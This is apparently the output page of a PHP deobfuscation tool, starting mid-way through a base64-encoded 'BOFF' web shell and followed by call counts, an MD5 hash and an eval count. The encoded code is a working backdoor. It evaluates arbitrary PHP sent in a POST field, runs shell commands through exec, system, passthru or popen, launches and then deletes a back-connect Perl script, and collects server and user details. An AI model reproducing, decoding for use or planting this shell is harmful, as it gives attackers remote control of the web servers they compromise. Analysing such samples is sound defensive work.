YvbnVsbCAyPiYxICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuQk9GRkV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblJDKCkgew0KCWlmKCFAJF9QT1NUWydwMSddKSB7DQoJCSRhID0gYXJyYXkoDQoJCQkidW5hbWUiID0+IHBocF91bmFtZSgpLA0KCQkJInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksDQoJCQkiQk9GRl92ZXJzaW9uIiA9PiBCT0ZGX1ZFUlNJT04sDQoJCQkic2FmZW1vZGUiID0+IEBpbmlfZ2V0KCdzYWZlX21vZGUnKQ0KCQkpOw0KCQllY2hvIHNlcmlhbGl6ZSgkYSk7DQoJfSBlbHNlIHsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCX0NCn0NCg0KZnVuY3Rpb24gTWluZm8oKSB7DQpjcigiSUQiLCIwd24zZCIpOw0KJFAgICAgICAgPSBAZ2V0Y3dkKCk7DQokSVAgICAgICA9IEBnZXRlbnYoIlNFUlZFUl9BRERSIik7DQokVUlEICAgICA9IGNyc2hlbGwxZXhlYygiaWQiKTsNCiRQICAgPSBAZ2V0Y3dkKCk7DQokSVAgID0gQGdldGVudigiU0VSVkVSX0FERFIiKTsNCiRVSUQgPSBjcnNoZWxsMWV4ZWMoImlkIik7DQpjcigiU0FGRSIsQHNhZmVtb2RlKCk/Ik9OIjoiT0ZGIik7DQpjcigiT1MiLEBQSFBfT1MpOw0KY3IoIlVOQU1FIixAcGhwX3VuYW1lKCkpOw0KY3IoIlNFUlZFUiIsKCRJUCk/JElQOiItIik7DQpjcigiVVNFUiIsQGdldF9jdXJyZW50X3VzZXIoKSk7DQpjcigiVUlEIiwoJFVJRCk/JFVJRDoidWlkPSIuQGdldG15dWlkKCkuIiBnaWQ9Ii5AZ2V0bXlnaWQoKSk7DQpjcigiRElSIiwkUCk7DQpjcigiUEVSTSIsIigiLnB0aHJpZ2h0cygkUCkuIikiKTsNCmNyKCJIREQiLCJVc2VkOiAiLmhkZCgidXNlZCIpLiIgRnJlZTogIi5oZGQoImZyZWUiKS4iIFRvdGFsOiAiLmhkZCgidG90YWwiKSk7DQpjcigiRElTRlVOQyIsQGdldGRpc2Z1bmMoKSk7DQp9DQoNCmZ1bmN0aW9uIGNyKCR0LCRjKSB7IGVjaG8gIjxmb250IGZhY2U9J3ZlcmRhbmEnIHNpemU9JzInPjxiPiR0OjwvYj4gIjsgZWNobyAoaXNfYXJyYXkoJGMpKT9qb2luKCIgIiwkYyk6JGM7IGVjaG8gIjwvZm9udD48YnI+XG4iOyB9DQpmdW5jdGlvbiBzYWZlbW9kZSgpIHsgcmV0dXJuIChAaW5pX2dldCgic2FmZV9tb2RlIikgT1IgZXJlZ2koIm9uIixAaW5pX2dldCgic2FmZV9tb2RlIikpICkgPyBUUlVFIDogRkFMU0U7IH0NCmZ1bmN0aW9uIGdldGRpc2Z1bmMoKSB7ICRyZXogPSBleHBsb2RlKCIsIixAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSk7IHJldHVybiAoIWVtcHR5KCRyZXopKT8kcmV6OmFycmF5KCk7IH0NCmZ1bmN0aW9uIGVuYWJsZWQoJGZ1bmMpIHsgcmV0dXJuIChmdW5jdGlvbl9leGlzdHMoJGZ1bmMpICYmIGlzX2NhbGxhYmxlKCRmdW5jKSAmJiAhaW5fYXJyYXkoJGZ1bmMsZ2V0ZGlzZnVuYygpKSkgPyBUUlVFIDogRkFMU0U7IH0NCmZ1bmN0aW9uIGNyc2hlbGwxZXhlYygkY21kKSB7DQogIGlmIChlbmFibGVkKCJleGVjIikpIHsgZXhlYygkY21kLCRvKTsgJHJleiA9IGpvaW4oIlxyXG4iLCRvKTsgfQ0KICBlbHNlaWYgKGVuYWJsZWQoInNoZWxsX2V4ZWMiKSkgeyAkcmV6ID0gc2hlbGxfZXhlYygkY21kKTsgfQ0KICBlbHNlaWYgKGVuYWJsZWQoInN5c3RlbSIpKSB7IEBvYl9zdGFydCgpOyBAc3lzdGVtKCRjbWQpOyAkcmV6ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfZW5kX2NsZWFuKCk7IH0gIA0KICBlbHNlaWYgKGVuYWJsZWQoInBhc3N0aHJ1IikpIHsgQG9iX3N0YXJ0KCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmV6ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfZW5kX2NsZWFuKCk7IH0NCiAgZWxzZWlmIChlbmFibGVkKCJwb3BlbiIpICYmIGlzX3Jlc291cmNlKCRoID0gcG9wZW4oJGNtZC4nIDI+JjEnLCAncicpKSApIHsgd2hpbGUgKCAhZmVvZigkaCkgKSB7ICRyZXogLj0gZnJlYWQoJGgsIDIwOTYpOyAgfSBwY2xvc2UoJGgpOyB9DQogIGVsc2UgeyAkcmV6ID0gIkVycm9yISI7IH0NCiAgcmV0dXJuICRyZXo7DQp9DQpmdW5jdGlvbiBwdGhyaWdodHMoJHBhdGgpIHsNCg0KCSRwdGhoID0gJHBhdGg7DQoJJHBlcm1zID0gZmlsZXBlcm1zKCIkcHRoaCIpOw0KDQoJaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgeyAkaW5mbyA9ICdzJzsNCgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRpbmZvID0gJ2wnOw0KCX0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsgJGluZm8gPSAnLSc7DQoJfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgeyAkaW5mbyA9ICdiJzsNCgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZvID0gJ2QnOw0KCX0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsgJGluZm8gPSAnYyc7DQoJfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgeyAkaW5mbyA9ICdwJzsNCgl9IGVsc2UgeyAkaW5mbyA9ICd1JzsgfQ0KDQoJLy8gT3duZXINCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8gKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkvLyBHcm91cA0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPyAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KCS8vIFdvcmxkDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/ICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJCQkNCnJldHVybiAkaW5mbzsNCn0NCmZ1bmN0aW9uIHZzaXplKCRzaXplKSB7DQogIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHsgcmV0dXJuIEZBTFNFOyB9DQogIGVsc2Ugew0KICAgIGlmICggJHNpemUgPj0gMTA3Mzc0MTgyNCApIHsgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjsgfQ0KICAgIGVsc2VpZiAoICRzaXplID49IDEwNDg1NzYgKSB7ICRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7IH0NCiAgICBlbHNlaWYgKCAkc2l6ZSA+PSAxMDI0ICkgeyAkc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiOyB9DQogICAgZWxzZSB7ICRzaXplID0gJHNpemUgLiAiIEIiOyB9DQogICAgcmV0dXJuICRzaXplOw0KICB9DQp9DQpmdW5jdGlvbiBoZGQoJHR5cGUpIHsNCiAgJFAgPSBAZ2V0Y3dkKCk7ICRUID0gQGRpc2tfdG90YWxfc3BhY2UoJFApOyAkRiA9IEBkaXNrX2ZyZWVfc3BhY2UoJFApOyAkVSA9ICRUIC0gJEY7DQogICRoZGRzcGFjZSA9IGFycmF5KCJ0b3RhbCIgPT4gdnNpemUoJFQpLCAiZnJlZSIgID0+IHZzaXplKCRGKSwgInVzZWQiICA9PiB2c2l6ZSgkVSkpOw0KICByZXR1cm4gJGhkZHNwYWNlWyR0eXBlXTsNCn0NCg0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQoJaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKQ0KCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCgllbHNlDQoJCSRfUE9TVFsnYSddID0gJ1NlY0luZm8nOw0KaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkNCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsNCmV4aXQ7DQo='\x29\x29\x3b","."); ?>
Function Calls
ini_set | 3 |
preg_replace | 1 |
base64_decode | 2 |
session_start | 1 |
set_time_limit | 1 |
error_reporting | 1 |
set_magic_quotes_runtime | 1 |
Stats
MD5 | 9e57a822e6c3c417be9ab38107c1dfe9 |
Eval Count | 3 |
Decode Time | 358 ms |